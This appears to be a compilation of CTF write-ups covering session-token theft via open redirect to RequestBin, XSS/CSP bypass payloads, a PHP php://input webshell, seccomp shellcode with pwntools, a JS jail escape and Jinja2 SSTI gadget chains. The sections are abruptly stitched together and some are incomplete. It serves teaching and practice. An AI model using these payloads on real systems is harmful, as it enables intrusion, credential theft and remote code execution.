Last year was pretty tough for all of us.
I built this service of cute photos to help cheer you up.
We do moderate for cuteness, so no inappropriate photos please!
https://cutesrv-0186d981.challenges.bsidessf.net
(author: matir)
This challenge was fun, cute and straight-forward once the bug is found.
First we're presented with a page of cute photos and the nav bar allows us to
Login or Submit a new image for review.
Looking in the source, there's a /flag.txt route which must be the goal of
the challenge, but when visiting it we get a message 'Not Authorized'.
If we visit Login we can click the only link available and it will
automatically log us in and redirect us to the main page.
on /submit it gives us the ability to submit a URL which the admin will
visit. This is typical in a lot of CSRF challenges, so we can start by checking
the User-Agent and other features when it visits our link, pointing to a server
we own or using something like https://requestbin.io/.
Even if we find XSS, the site is using HttpOnly cookies, so we probably need to
find something else.
Checking out the Login route again while watching the requests, it does
something interesting. When requesting /check from the login service it will
include the session token in the URL, but does not restrict which URL it
redirects to. Using this bug we can force the Admin user to send their own
session token to our site instead.
We can use RequestBin again to steal the session token authtok, submitting this link to the admin:
CSP challenges are back! Can you bypass the CSP to steal the flag?
https://csp-1-581db2b1.challenges.bsidessf.net
(flag path: /csp-one-flag)
(author: itsc0rg1)
If we look at the Content Security Policy (CSP) for this page, we can see it's
very open. To identify this, you can learn each rule or use a tool such as https://csp-evaluator.withgoogle.com/.
The unsafe-inline keyword will allow execution of arbitrary inline scripts.
Let's start with a simple XSS payload:
<img src=x onerror=alert(1) />
This already works! So now we only need to get the flag from the
/csp-one-flag route after the admin visits it. We can use fetch for this.
We'll also use https://requestbin.io/ again.
CSP challenges are back! Can you bypass the CSP to steal the flag?
https://csp-2-f692634b.challenges.bsidessf.net
(flag path: /csp-two-flag)
(author: itsc0rg1)
This challenge was simmilar to the last one where we need to send an XSS
payload to an admin to get the flag.
Difficulty: easy
Black Hole Sun, won't you come
and put sunshine in my bag
I'm useless, but not for long
so whatcha whatcha whatcha want?
nc 18.220.56.147 12345
This challenge also had a cat ./flag function with an interesting secret value:
This challenge had multiple links leading to many pages.
The point of the challenge seemed to teach spidering / mirroring:
$ wget -rm http://fun.ritsec.club:8007/
Looking for files containing the term flag:
$ grep -ri 'flag' .
fun.ritsec.club:8007/Waving.html
17: <th><a href="Fl4gggg1337.html" style="color: white">Flag</a></th>
fun.ritsec.club:8007/Fl4gggg1337.html
18: <p style="color: white">Ha you thought there would be a flag here? Nice try :)</p>
Fl4gggg1337.html sounds interesting! Looking in there we find a link to Stars.html:
$ cat fun.ritsec.club:8007/Stars.html
...
<center><p>UklUU0VDe0FSM19ZMFVfRjMzNzFOR18xVF9OMFdfTVJfS1I0QjU/IX0=</p></center>
</body>
</html>
<!-- REMOVE THIS NOTE LATER -->
<!-- Getting remote access is so much work. Just do fancy things on devsrule.php -->
...
This challenge starts from The Tangled Web. To recap,
we got a note in the HTML comments:
$ cat fun.ritsec.club:8007/Stars.html
...
<center><p>UklUU0VDe0FSM19ZMFVfRjMzNzFOR18xVF9OMFdfTVJfS1I0QjU/IX0=</p></center>
</body>
</html>
<!-- REMOVE THIS NOTE LATER -->
<!-- Getting remote access is so much work. Just do fancy things on devsrule.php -->
...
Sounds like devsrule.php contains a backdoor.
If we look at that page, we see:
$ curl http://fun.ritsec.club:8007/devsrule.php
Not what you input eh?
This param is 'magic' man.
This didn't give us much to work with, but trying to play with the params in
unsual ways, it reacts:
$ curl http://fun.ritsec.club:8007/devsrule.php?magic[]=1
Not what you input eh?
This param is 'magic' man.
Are you trying to hack me? That's mean :(
So we know it must have something to do with this magic param as mentioned
in the description.
The next part took a while to figure out, but it's also mentioned in the
description. The only other word which stands out is 'input'.
PHP contains a special wrapper 'input://' which can take 'stdin' from POST
data. Adding this with the magic parameter, and a webshell in the POST data,
we get what we would expect:
$ curl 'http://fun.ritsec.club:8007/devsrule.php?magic=php://input' --data '<?php echo system("id"); ?>'
Not what you input eh?<br>This param is 'magic' man.<br><br>
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Grabbing the users, we see joker, which may be where the flag is:
This challenge was like a "baby's first" x86 challenge, with a couple small twists.
First if we run it we can get a segfault quickly (looks like it will just run our shellcode):
$ ./coder
[+] It's 2018, so we run everything in the cloud.
[+] And I mean everything -- even our shellcode testing service.
[+] Perhaps you'd like to test your shellcode?
[+] Please send the length of your shellcode followed by a newline.
4
[+] OK, please send the shellcode.
AAAA
[+] Setting up sandbox.
[1] 6014 segmentation fault (core dumped) ./coder
The statement "Setting up sandbox." sounds interesting, we should probably investigate that.
Looking for this string in Binary Ninja and finding the relevant Xrefs in main we find a function right underneath the print:
This binary is stripped so we don't get a nice name for sandbox setup, we can rename sub_2200a in Binary Ninja by clicking it, hitting 'n' and typing a new symbol name, such as 'setup-sandbox'.
Looking at this function we can see what's familiar to seccomp setup. Another post covering seccomp on a binary is mute, using this as a reference we can rename the other unlabeled functions such as 'seccomp_rule_add'. It looks very similar to mute where we can look up the arguments and syscalls being passed to seccomp, but there's something slightly more complicated below:
We could analyze this manually, but it would be a lot nicer to use seccomp-tools:
$ echo '1\nA\n' | seccomp-tools dump ./coder
[+] It's 2018, so we run everything in the cloud.
[+] And I mean everything -- even our shellcode testing service.
[+] Perhaps you'd like to test your shellcode?
[+] Please send the length of your shellcode followed by a newline.
[+] OK, please send the shellcode.
[+] Setting up sandbox.
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x11 0xc000003e if (A != ARCH_X86_64) goto 0019
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x0f 0x00 0x40000000 if (A >= 0x40000000) goto 0019
0004: 0x15 0x0d 0x00 0x00000003 if (A == close) goto 0018
0005: 0x15 0x0c 0x00 0x0000000f if (A == rt_sigreturn) goto 0018
0006: 0x15 0x0b 0x00 0x00000028 if (A == sendfile) goto 0018
0007: 0x15 0x0a 0x00 0x0000003c if (A == exit) goto 0018
0008: 0x15 0x09 0x00 0x000000e7 if (A == exit_group) goto 0018
0009: 0x15 0x00 0x09 0x00000002 if (A != open) goto 0019
0010: 0x20 0x00 0x00 0x00000014 A = args[0] >> 32
0011: 0x15 0x00 0x07 0x00007f35 if (A != 0x7f35) goto 0019
0012: 0x20 0x00 0x00 0x00000010 A = args[0]
0013: 0x15 0x00 0x05 0x5e303428 if (A != 0x5e303428) goto 0019
0014: 0x20 0x00 0x00 0x0000001c A = args[1] >> 32
0015: 0x15 0x00 0x03 0x00000000 if (A != 0x0) goto 0019
0016: 0x20 0x00 0x00 0x00000018 A = args[1]
0017: 0x15 0x00 0x01 0x00000000 if (A != 0x0) goto 0019
0018: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0019: 0x06 0x00 0x00 0x00000000 return KILL
This clearly shows us the seccomp rules are setup to allow: close, rt_sigreturn, sendfile, exit, exit_group & open.
We have your typical ORW (open/read/write) restriction, where read & write is taken care of in the syscall sendfile.
Under line 0009 we can see it expects arguments for open to be set correctly. In the binary there's a mention of './flag.txt' @ 0x2b428, this is probably the argument the seccomp rule is referring to, but we can verify this by looking in Binary Ninja.
At the bottom of the image above, we see a reference to data_245110. Clicking that takes us to the data section referencing 0x2b428, which we just found was './flag.txt':
So now we know our shellcode should have the following constraints:
64 bit
use open with the argument './flag.txt'
use sendfile to read & write after open
This seems fairly simple! There's only one more catch.
We will need to get the exact address of './flag.txt' which is randomized because PIE is enabled:
$ checksec coder
[*] './coder'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
FORTIFY: Enabled
We can setup a very simple client to check out the state of registers once it executes our shellcode:
#!/usr/bin/env python
from pwn import *
if args.LOCAL:
p = process(['./coder'])
else:
p = remote('intel-coder-d95049.challenges.bsidessf.net', 8086)
context(terminal=['tmux', 'split'], bits=64, arch='amd64')
gdb.attach(p, 'stepi')
payload = '\xcc' * 10
payload = '{}\n{}\n'.format(len(payload), payload)
p.sendline(payload)
p.interactive()
Running this in a new tmux session with the LOCAL flag set, we can continue and hit the interrupt setup in the beginning of our payload:
The assembly instructions in RDX look very familiar from previous reversing. Looking at the positive flow after the seccomp rules are setup, this function is called:
We can verify the next instruction of RDX is 'jmp rdi' as well:
Now we can write a small amount of assembly to take care of this before we reach the open syscall:
add rdx, 0x9298
mov rax, rdx
Using shellcraft from pwntools will be very useful in this situation to generate custom shellcode:
o = pwnlib.shellcraft.open('rax', 0)
s = pwnlib.shellcraft.sendfile(1, 'rax', 0, 40)
This executes open using the address of './flag.txt' we loaded into RAX, setting the oflag to 0 or O_RDONLY for a read-only mode. Then it executes sendfile writing to stdout (1), using the address returned from open (RAX), the offset into the string (0), and the amount of bytes to read.
Putting this all together we get a client that looks something like this:
Running this client against the CTF server, we get a flag!
If you hold a babyshell close to your ear, you can hear a stack getting smashed
Solves: 71
Service: nc 52.30.206.11 7000 (x86) | nc 52.30.206.11 7001 (ARM) | nc 52.30.206.11 7002 (MIPS)
Download: https://s3-eu-west-1.amazonaws.com/dl.midnightsunctf.se/babyshells.tar.gz
Author: likvidera
This one was a simple baby's first 90's shellcode style exploitation challenge, with the caveat that you have to exploit a binary on multiple architectures to get the flag.
Each binary would drop a part of the flag, so in order to complete the challenge, you would need to exploit all of them.
Running the x86 binary we get some nice ASCII art : ) -- It's also easy to make it crash!
Starting with dynamic analysis, cyclic will show the offset of the SIGSEGV as 40, but when using the interrupt (0xCC) we find the exact offset to be 38 (this offset will be used across all binaries in this challenge):
We have our flag chunk, now let's go onto the next architecture - arm.
The organizers were nice enough to included qemu-arm with the challenge package, as well as a Docker setup to get up and running with the challenges quickly.
The same payload with shellcode specific to arm also popped a shell:
You are awesome at breaking into stuff, how about breaking out?
Solves: 32
Service: nc web2.midnightsunctf.se 55542 | nc 34.244.177.217 55542
Download: https://s3-eu-west-1.amazonaws.com/dl.midnightsunctf.se/jeil.tar.gz
Author: avlidienbrunn
To reiterate the rules we need to pass for our payload:
needs to be exactly 32 bytes
chars must not be in regex /[\[\]\.\\\+\-\/;a-zA-Z{}`'"\s]/
evaluated "this.secretFuncUnguessable" + code must be a function type
The first two rules are simple to pass, the last is somewhat tricky.
If you remember from the source, "this.secretFuncUnguessable{{ENV_SECRET_0}}" is defined in the source, but we do not know ENV_SECRET_0, and we probably don't want to guess it.
Instead we can figure out how to call our own function to pass the last check.
We know that "this.secretFuncUnguessable" does not exist unless ENV_SECRET_0 is set to "". We can use that assumption to our advantage by starting with the or operator in JavaScript. this will return the second value (our code) if the first is undefined. Here's a simple example:
> const foo = undefined;
> const result = foo || 'AAAA';
> result
'AAAA'
It's also easy to create a function in later versions of node without braces using the arrow function:
> () => 123
[Function]
We can create a simple function which returns true by comparing 1 against itself:
> (()=>1==1)()
true
Now we have a working payload, we just need to add some padding to make it 32 bytes:
> result = undefined || (()=>1==1)
> typeof result
'function'
> result()
true
With the padding:
||(()=>11111111111==11111111111)
There are many other variations that could be created such as:
In this challenge we're presented with a web server which contains a heavily obfuscated JavaScript file as one of it's resources.
We're going to jump into an intro of Z3 to solve parts of this challenge after some initial reversing.
If you would like to watch a better version of the topics discussed in this blog post, check out LiveOverflow's great video on "Using z3 to find a password and reverse obfuscated JavaScript" - https://www.youtube.com/watch?v=TpdDq56KH1I. It helped a lot when attempting to solve this challenge.
Here's a snippet of the file which was beautified using the online service jsnice:
(function() {
_0x13c3dd(this, function() {
if (_0x15c2('0x7') === _0x15c2('0x7')) {
var _0x42483f = new RegExp('function\x20*\x5c(\x20*\x5c)');
var _0x43babc = new RegExp(_0x15c2('0x8'), 'i');
var _0x53dbc9 = _0x4f7527(_0x15c2('0x4'));
if (!_0x42483f[_0x15c2('0x5')](_0x53dbc9 + _0x15c2('0x6')) || !_0x43babc[_0x15c2('0x5')](_0x53dbc9 + 'input')) {
if (_0x15c2('0x9') === _0x15c2('0x9')) {
_0x53dbc9('0');
} else {
return !![];
}
} else {
if ('CJMng' === _0x15c2('0xa')) {
_0x4f7527();
} else {
return !![];
}
}
} else {
return function(_0x256bf0) {}[_0x15c2('0xb')](_0x15c2('0xc'))[_0x15c2('0xd')](_0x15c2('0xe'));
}
})();
}());
We can jump to potentially interesting parts of the code to find out what's going on.
One interesting part included a 'Flag{' string. This was used to build up the final flag, stored originally in a giant array of mixed snippets used for various reasons:
There's another interesting part of the code which contains the variable 'solver' -- sounds like this may help us solve the challenge. It's also a hint mixed with the challenge title 'laz3y' referencing the Z3 SMT solver.
Now we need to analyze each one of these functions to make sure we can setup input to make it pass.
Starting with the interesting sounding function first 'crypto', isn't heavily related to cryptography:
function crypto(context) {
var val = "";
var row = context.slice(18, 29);
var masks = [68, 16, 31, 28, 29, 4, 9, 21, 27, 84, 11, 114];
for (var i = 0; i <= row.length; i++) {
val += String.fromCharCode(row.charCodeAt(i) ^ masks[i]);
}
return val == "tryingharder";
}
Looking at this, we can tell it wants the result of "tryingharder" by xor'ing against a given mask.
Reversing this process, we'll get the expected value for part of the flag:
$ python
>>> from pwn import *
>>> masks = [68, 16, 31, 28, 29, 4, 9, 21, 27, 84, 11, 114]
>>> tryHarder = "tryingharder"
>>> ''.join([xor(tryHarder[i], masks[i]) for i in range(len(masks))])
'0bfuscati0n\x00'
Continuing with each function, we can inline any obvious values and write simple formulas for others (//X// comments represent known values to skip during the constraint solve):
If you haven't heard of Z3 before, check out the Z3-Playground repo, it has some fantastic examples of how to use Z3 in general and for security related tasks.
Using the basic hello-world example from Z3-Playground we can add one constraint to see how Z3 works. We give it two variables a & b, then say a + b is equal to 1337, also b is above 20.
from z3 import *
a, b = BitVecs('a b', 32)
s = Solver()
s.add((a + b) == 1337)
s.add(b > 20)
if s.check() == sat:
print s.model()
else:
print 'Unsat'
Letting z3 solve for this, it will return input which satisfies these constraints:
$ python hello.py
[b = 21, a = 1316]
The values 21 and 1316 do sum to 1337, so it looks like this works!
Now we can get into solving this challenge!
Instead of using BitVecs for variables, we'll be using integer values representing characters.
Initializing the unknown flag, we use the z3 Int type:
flag = [Int(i) for i in xrange(30)]
If you remember from above, the important constraints we need to setup are:
There are six constraints instead of five here, this is because line 197 was split into two separate constraints for readability.
We should also setup the parts of the flag we know about already:
partial = 'T???_???_??l0T?0?_0bfuscati0n!'
for x in range(len(partial)):
if partial[x] is not '?':
s.add(flag[x] ≡ ord(partial[x]))
And setup the flag to be within a printable range:
for x in range(0, 30):
s.add(flag[x] >= ord('!') and flag[x] <= ord('z'))
With all of this setup, we could attempt to print the flag (converting ints to chars in the process):
if s.check() == sat:
m = s.model()
print 'Flag{' + ''.join([chr(m[x].as_long()) for x in flag]) + '}'
else:
print 'Not Found.'
This yields:
Flag{That_wsA_/zl0Tz0z_0bfuscati0n!}
This is very close! But not there yet! There are a few errors to work out.
First part that seems off is the '/' character, it doesn't seem likely it would be in this flag and if it was, it wouldn't be in that position.
Now the slash character is fixed, but we have some other problems, Taht was switched, and wsA looks like the word 'was'. To fix the first word, we'll constrain the 'h' where it was:
This was another Jinja2 template injection challenge (they've been showing up a lot recently).
This time they denied access to properties such as '__mro__' and '__class__' which show up in top python SSTI tutorials. Here's a good example of one - Exploring SSTI in Jinja2
There's another writeup on this blog about Jinja2 injection using a similar method found above, from the BSidesSF 2017 CTF - Zumbo3
For this challenge, since we didn't have the properties found in the articles above, we had to get creative. The best way to get started with this is to jump into a local python terminal.
Initial Bug
Before we get into building the payload, the initial bug was found on a route in the web app which printed a user controlled string (config is a global we can check for with Jinja2 templates):
In some challenges, this is all you need! They'll load the flag into the secrets or some other area of the Jinja2 config, and you're done, but not on this one. It must've been somewhere on the filesystem, so we'll need to call open or system somehow...
Some gadgets to watch out for:
<built-in function globals> # check for any useful variables or flags in the global scope
<built-in function locals> # check for any useful variables or flags in the local scope
<built-in function dir> # introspect a python object, useful for finding other gadgets
<built-in function open> # read a file from the file system, such as a flag or the main.py source
<module 'sys' (built-in)> # leak 'version' of python or 'argv' used
<module 'os' from ' ... > # run system commands using system() call
<module 'commands' ... > # run system commands using getoutput() call
func_code # if this is available, it could leak the version of python used
func_globals # get access to a function's global variables
__builtins__ # very useful standard functions pulled in by the python runtime
__reduce__ / __reduce_ex__ # create new code objects using pickle
This is not an exhaustive list, but some of these may be useful.
Python Reduce SSTI Gadget
Not sure if this technique has been used before, but it worked well on this challenge.
First we need a primitive type to call __reduce__ / __reduce_ex__ on. This was done by grabbing the __str__ value of an undefined variable (this could've been done on an int, str, object, etc.):
Now we have some useful variables to play with, a couple nice ones for this challenge:
# Leak python version (good for syncing local version of python to dictionary value offsets):
>>> x.__reduce__(42)[0].func_code
<code object __newobj__ at 0x7fa69d4a7530, file "/usr/lib/python2.7/copy_reg.py", line 92>
# Function globals (good to use as gadgets)
>>> x.__reduce__(42)[0].func_globals.values()
[{}, <function add_extension at 0x7fa69d4a5c08>, <type 'classobj'>, {}, ...
Using .keys() and .values() on the object we can get a list of all the properties it has. If we index into these values, we'll be able to call any objects that exist in that dictionary.
For objects such as locals(), globals(), dir(), system(), vars() or open(), it provides us with a huge step forward.
Looking through this we can find the '__builtins__' key on index 12:
The index for open is 80 here, where the server was 79, this sometimes differs, so you'll need to check the server when experimenting with these values.
Now we just use open and read in a stub flag for now:
$ echo -en 'FLAG{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}' > flag
$ python
>>> x = None
>>> x.__reduce__(42)[0].func_globals.values()[12].values()[80]('./flag').read()
'FLAG{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}'
Leaking the Source
Now trying this on the server was the same (with a small adjustment for the open index). It also seemed like a good idea to dump the source before leaving.
This was the result of finding the open() function in the function globals, reading in the server source: